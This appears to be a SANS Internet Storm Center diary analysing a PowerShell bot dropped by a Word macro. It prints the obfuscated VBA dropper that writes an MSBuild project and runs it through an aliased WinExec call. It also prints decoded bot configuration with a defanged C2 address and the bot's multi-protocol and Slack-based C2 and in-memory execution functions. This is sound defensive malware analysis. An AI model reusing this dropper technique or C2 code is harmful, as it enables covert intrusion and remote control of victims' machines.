Powershell Bot with Multiple C2 Protocols
I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:
Private Sub CommandButton1_Click() MsgBox "Thank you for your participation!" Call f332dsasad End Sub Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl) f332dsasad End Sub
This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:
Sub f332dsasad()
Dim aaa As String
On Error Resume Next
Dim file
adddsaddsasd
appDataLocation = Environ("A" & "ppD" & "ata")
file = appDataLocation & "\Wind" & "owsManager." & "xml"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set oFile = objFSO.CreateTextFile(file, True)
oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name"
oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample : Task, ITask{publ"
oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"
... (stuff removed) ...
oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
oFile.Close
waitTill = Now() + TimeValue("00:00:04")
While Now() < waitTill
DoEvents
Wend
aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
retVal = asd21we(aaa, 0)
End Sub
Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!
Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:
Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long
The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:
$_q60 = @{};
$_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ=';
$_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4=';
$_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94=';
$_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
$_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6';
$_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc=';
This content is Base64 and SHA256 encrypted. Once decoded, you read this:
PS C:\Users\REM> bpf
Name Value
---- -----
sleep 1
chunksleep 1
key {47, 130, 248, 76...}
handlers HTTPAES256|hxxp://104[.]239[.]177[.]103:80
shell powershell
maxrequestsize 24000
Another interesting array is obfuscated in the same way and discloses interesting features of the bot:
PS C:\Users\REM> doa
Payload too long for slack API
token
channel
attachments
as_user
text
https://slack.com/api/chat.postMessage
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
thread_ts
https://slack.com/api/channels.replies
DNSError
jobresult
No response from handler
None
POST
Authorization
HTTPAES256
SLACK
HTTPAES256FRONT
DNSAES256
register
127.0.0.1
{"implantType":"PowerShell","localIp":"
","hostname":"
","username":"
","handler":"Multi","connectionString":"
","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
indows"}
{"id":"
heartbeat
powershell
payload
command
options
upload
download
posh_in_mem
reflected_assembly
[bool]
[int]
interactive
Process Exited
socks
tcp_fwd
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported:
true
exit
Bye!
configure
Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:
- HTTPAES256
- SLACK
- HTTPAES256FRONT
- DNSAES256
We can find a function for each technique in the bot. Here is the function which sends data to the C2:
function oqe($_hc8, $body) {
$_l19s = $_d.handlers.split(",");
$_ktk = "";
For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
try {
$_l19 = $_l19s[$i].split("|");
if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
Return v1v $_l19[1] $_hc8 $body;
}
elseif($_l19[0] -eq $_h[18]) { # "SLACK"
$trySlack = $false;
Return ny4 $_hc8 $body;
}
elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
Return v1v $_l19[1] $_hc8 $body $_l19[2];
}
elseif($_l19[0] -eq $_h[20]){ # DNSAES256
Return r8p $_hc8 $body $_l19[1];
}
}
catch {
if($_.Exception.message -eq 404) {
throw $_;
}
else {
$_ktk += $_h[21] + $_.Exception.message;
}
}
}
Throw $_ktk;
}
Here is the function which uses Slack to exchange data with the C2:
function ny4($_hc8, $body){
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null;
$bodyEnc = vnm $_d.key $body;
$Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3;
$_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2;
if($_hc8 -ne $_h[12]){
$thread_ts = $_uyx.ts;
sleep -Milliseconds 500;
$_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts;
if($_uyx2.messages.length -lt 2){
Sleep 4;
$_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts;
}
if($_uyx2.messages.length -lt 2){
throw $_h[13];
}
$_yl5 = ncf $_d.key $_uyx2.messages[1].text ;
if($_yl5 -eq "404"){
throw "404";
}
return ConvertFrom-Json $_yl5;
}
}
The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):
Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));
When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:
{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}
Note the list of available commands:
- Command (execute something)
- Upload
- Download
- Configure
- Exit
- Posh in mem
- Reflected assembly
- Interactive
- Socks (proxy)
Once registration is successful:
{
"localIp":"172.16.74.131",
"sourceIp":"",
"os":"windows",
"hostname":"DESKTOP-2C3IQHO",
"username":"REM",
"handler":"Multi",
"connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80",
"implantType":"PowerShell",
"config":{},
"supportedPayloads":
["command","exit","upload","download","configure",
"posh_in_mem","reflected_assembly","cd","interactive","socks"
],
"_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ",
"createdAt":1596440810315,
"lastSeen":1596440810315,
"listener":""
}
Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:
} elseif ($_wxs.($_h[32]).type -eq $_h[37]) {
if($_wxs.($_h[32]).($_h[34]).pipe_id){
$bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length;
$script = [System.Text.Encoding]::ASCII.GetString($bytes);
} else {
$script = "";
}
$script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command;
$_yl5="";
$_e7i = Invoke-Expression $script | Out-String;
ForEach ($line in $($_e7i -split $_h[21])){
$_yl5+=$line.TrimEnd() + $_h[21];
}
igl $_wxs._id $_yl5 $false;
}
The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!
.png)
I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!
[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments